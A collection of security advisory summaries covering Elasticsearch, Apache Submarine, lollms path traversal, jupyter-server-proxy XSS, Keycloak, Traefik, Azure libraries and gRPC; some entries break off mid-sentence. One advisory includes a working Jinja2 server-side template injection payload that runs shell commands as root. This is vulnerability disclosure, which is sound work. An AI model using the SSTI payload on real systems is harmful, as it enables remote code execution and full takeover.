ghsa

It was identified that if a cross-cluster API key https://www.elastic.co/guide/en/elasticsearch/reference/8.14/security-api-create-cross-cluster-api-key.html#security-api-create-cross-cluster-api-key-request-body restricts search for a given index using the query or the field_security parameter, and the same cross-cluster API key also grants replication for the same index, the search restrictions are not enforced during cross cluster search operations and search results may include documents and terms that should not be returned. This issue only affects the API key based security model for remote clusters https://www.elastic.co/guide/en/elasticsearch/reference/8.14/remote-clusters.html#remote-clusters-security-models that was previously a beta feature and is released as GA with 8.14.0

Improper Authentication vulnerability in Apache Submarine Commons Utils. This issue affects Apache Submarine Commons Utils: from 0.8.0. As this project is retired, we do not plan to release a version that fixes this issue. Users are recommended to find an alternative or restrict access to the instance to trusted users. NOTE: This vulnerability only affects products that are no longer supported by the maintainer.

parisneo/lollms version 9.5 is vulnerable to Local File Inclusion (LFI) attacks due to insufficient path sanitization. The `sanitize_path_from_endpoint` function fails to properly sanitize Windows-style paths (backward slash `\`), allowing attackers to perform directory traversal attacks on Windows systems. This vulnerability can be exploited through various routes, including `personalities` and `/del_preset`, to read or delete any file on the Windows filesystem, compromising the system's availability.

### Impact There is a reflected cross-site scripting (XSS) issue in `jupyter-server-proxy`[1]. The `/proxy` endpoint accepts a `host` path segment in the format `/proxy/<host>`. When this endpoint is called with an invalid `host` value, `jupyter-server-proxy` replies with a response that includes the value of `host`, without sanitization [2]. A third-party actor can leverage this by sending a phishing link with an invalid `host` value containing custom JavaScript to a user. When the user clicks this phishing link, the browser renders the response of `GET /proxy/<host>`, which runs the custom JavaScript contained in `host` set by the actor. As any arbitrary JavaScript can be run after the user clicks on a phishing link, this issue permits extensive access to the user's JupyterLab instance for an actor. This issue exists in the latest release of `jupyter-server-proxy`, currently `v4.1.2`. **Impacted versions:** `>=3.0.0,<=4.1.2` ### Patches The patches are included in `==4.2.0` and `=...

### Impact _What kind of vulnerability is it? Who is impacted?_ RCE via SSTI, as root, full takeover. ### Patches _Has the problem been patched? What versions should users upgrade to?_ It has not been patched. ### References _Are there any links users can visit to find out more?_ - https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection/jinja2-ssti ### POC Add the following to a document, upload and render it: ```jinja2 {% if PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202] %} ls -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("ls -a", shell=True, stdout=-1).communicate()[0].strip() }} whoami: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("whoami", shell=True, stdout=-1).communicate()[0].strip() }} uname -a: {{ PLACEHOLDER.__class__.__mro__[1].__subclasses__()[202]("uname -a", shell=True, stdout=-1).communicate()[0].strip() }} {% endif %} ``` The index might be different, so to debug this first render a template with `...

Users with low privileges (just plain users in the realm) are able to utilize administrative functionalities within Keycloak admin interface. This issue presents a significant security risk as it allows unauthorized users to perform actions reserved for administrators, potentially leading to data breaches or system compromise. **Acknowledgements:** Special thanks to Maurizio Agazzini for reporting this issue and helping us improve our project.

### Impact There is a vulnerability in [Go managing various Is methods (IsPrivate, IsLoopback, etc) for IPv4-mapped IPv6 addresses](https://groups.google.com/g/golang-announce/c/XbxouI9gY7k/m/TuoGEhxIEwAJ). They didn't work as expected returning false for addresses which would return true in their traditional IPv4 forms. ### References - [CVE-2024-24790](https://www.cve.org/CVERecord?id=CVE-2024-24790) ### Patches - https://github.com/traefik/traefik/releases/tag/v2.11.4 - https://github.com/traefik/traefik/releases/tag/v3.0.2 ### Workarounds No workaround. ### For more information If you have any questions or comments about this advisory, please [open an issue](https://github.com/traefik/traefik/issues).

Azure Storage Movement Client Library Denial of Service Vulnerability

Azure Identity Libraries and Microsoft Authentication Library Elevation of Privilege Vulnerability

### Impact There are two separate code paths in which memory can be allocated per message in excess of the `grpc.max_receive_message_length` channel option: 1. If an incoming message has a size on the wire greater than the configured limit, the entire message is buffered before it is discarded. 2. If an incoming message has a size within the limit on the wire but decompresses to a size greater than the limit, the entire message is decompressed into memory, and on the server is not discarded. ### Patches This has been patched in versions 1.10.9, 1.9.15, and 1.8.22